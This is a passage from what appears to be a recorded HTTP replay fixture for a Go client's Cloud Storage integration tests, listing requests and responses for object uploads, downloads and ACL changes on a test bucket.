"eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9nemlwLXRlc3QvMTU1NjgzNTg2MDI1MTg2NyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2d6aXAtdGVzdCIsIm5hbWUiOiJnemlwLXRlc3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MDI1MTg2NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24veC1nemlwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjIwLjI1MVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyMC4yNTFaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjAuMjUxWiIsInNpemUiOiIyNyIsIm1kNUhhc2giOiJPdEN3K2FSUklScUtHRkFFT2F4K3F3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vZ3ppcC10ZXN0P2dlbmVyYXRpb249MTU1NjgzNTg2MDI1MTg2NyZhbHQ9bWVkaWEiLCJjb250ZW50RW5jb2RpbmciOiJnemlwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvZ3ppcC10ZXN0LzE1NTY4MzU4NjAyNTE4NjcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vZ3ppcC10ZXN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJnemlwLXRlc3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MDI1MTg2NyIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTnVKc3NQeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvZ3ppcC10ZXN0LzE1NTY4MzU4NjAyNTE4NjcvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2d6aXAtdGVzdC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imd6aXAtdGVzdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODYwMjUxODY3IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ051SnNzUHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2d6aXAtdGVzdC8xNTU2ODM1ODYwMjUxODY3L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9nemlwLXRlc3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJnemlwLXRlc3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MDI1MTg2NyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTnVKc3NQeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvZ3ppcC10ZXN0LzE1NTY4MzU4NjAyNTE4NjcvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2d6aXAtdGVzdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imd6aXAtdGVzdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODYwMjUxODY3IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ051SnNzUHgvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiI5RGh3QkE9PSIsImV0YWciOiJDTnVKc3NQeC9lRUNFQUU9In0=" - } - }, - { - "ID": "070a9af78f7967bf", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/gzip-test", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "none" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Type": [ - "application/x-gzip" - ], - "Date": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Accept-Encoding" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:20 GMT" - ], - "X-Goog-Generation": [ - "1556835860251867" - ], - "X-Goog-Hash": [ - "crc32c=9DhwBA==", - "md5=OtCw+aRRIRqKGFAEOax+qw==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "gzip" - ], - "X-Goog-Stored-Content-Length": [ - "27" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UosPALnXk-3j5nBlDDWX7hBP4xBNcCe7lGNkEU-sHHTWsRexFWLoB-1gn8RfnlqS6Q5ZTrR86NBxpP1T0bFxgHnlYUYGh-G3mThRCgGIAWjXggOeOU" - ] - }, - "Body": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" - } - }, - { - "ID": "3ece6665583d65fb", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj-not-exists", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "225" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uph0zmuYk7ZmOWzbNkj24Iai85wz2vKj0mMnMkIHIoDUlDAUCA0e_CgFT5fV_XAvgUx06I9FspomkB_ImflSVCvj55GK6zEoY5iV1hN96nh4AmPBN0" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+Tm9TdWNoS2V5PC9Db2RlPjxNZXNzYWdlPlRoZSBzcGVjaWZpZWQga2V5IGRvZXMgbm90IGV4aXN0LjwvTWVzc2FnZT48RGV0YWlscz5ObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai1ub3QtZXhpc3RzPC9EZXRhaWxzPjwvRXJyb3I+" - } - }, - { - "ID": "602f4fdfff4e490c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoic2lnbmVkVVJMIn0K", - "VGhpcyBpcyBhIHRlc3Qgb2YgU2lnbmVkVVJMLgo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3230" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:21 GMT" - ], - "Etag": [ - "CNat6MPx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoWSi2VcVAHJJzhGSPjVT17kZYaCh3uZvWXBU0R4hVmPZJ10gvbv_Ucrfd2kwrBvRYoZaQcYkY5Q3M-oywiCNtLm6SM9InWHz2Omc-0pWJJjfQWPCM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9zaWduZWRVUkwvMTU1NjgzNTg2MTE0MTIwNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NpZ25lZFVSTCIsIm5hbWUiOiJzaWduZWRVUkwiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MTE0MTIwNiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyMS4xNDBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjEuMTQwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjIxLjE0MFoiLCJzaXplIjoiMjkiLCJtZDVIYXNoIjoiSnl4dmd3bTluMk1zckdUTVBiTWVZQT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NpZ25lZFVSTD9nZW5lcmF0aW9uPTE1NTY4MzU4NjExNDEyMDYmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvc2lnbmVkVVJMLzE1NTY4MzU4NjExNDEyMDYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vc2lnbmVkVVJML2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzaWduZWRVUkwiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MTE0MTIwNiIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTmF0Nk1QeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvc2lnbmVkVVJMLzE1NTY4MzU4NjExNDEyMDYvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NpZ25lZFVSTC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNpZ25lZFVSTCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODYxMTQxMjA2IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ05hdDZNUHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3NpZ25lZFVSTC8xNTU2ODM1ODYxMTQxMjA2L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9zaWduZWRVUkwvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJzaWduZWRVUkwiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2MTE0MTIwNiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTmF0Nk1QeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvc2lnbmVkVVJMLzE1NTY4MzU4NjExNDEyMDYvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3NpZ25lZFVSTC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InNpZ25lZFVSTCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODYxMTQxMjA2IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ05hdDZNUHgvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJaVHFBTHc9PSIsImV0YWciOiJDTmF0Nk1QeC9lRUNFQUU9In0=" - } - }, - { - "ID": "4a1c9dc802f4427c", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "119" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:23 GMT" - ], - "Etag": [ - "CAc=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrbFZENfdiDkKpD_H_zm44x7h5bTZ3VD6MEoiiXuMwxHHK-zCSSoPRA2ALNUXoR3EcS1c-huuyZBIiw7ULKii7BNqKz0RMu4lWRxrDRQBOjGwKDDgE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQWM9In0=" - } - }, - { - "ID": "e12cb7360f4fd8dd", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/defaultObjectAcl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "684" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:23 GMT" - ], - "Etag": [ - "CAc=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:23 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrVJI9g41JQEDEgaIAOXKSCe2B8xklFKSoIciM7uC0uod7t7NzXfxsIrI6mQeZGkWa2B12xdKpSJBndrNbBvygZ6aXxpBBvL8d80NJ42u8KQC7AaFE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBYz0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQWM9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBYz0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBYz0ifV19" - } - }, - { - "ID": "d25b1dc2d7247768", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoiYWNsMSJ9Cg==", - "/pXmp0sD+azbBKjod9MhwQ==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:24 GMT" - ], - "Etag": [ - "COr+pcXx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UosBTMUgCzCYlGDKqRCN7Kexl832zyi4FxoRqfYtmTr8yv63z4BAQBeCTLajyZqMbRyzjje7TtPPYomUSv_8zrQ8bFdXlNzbTSeKK8kXi2Ys82jus4" - ] - }, - "Body": 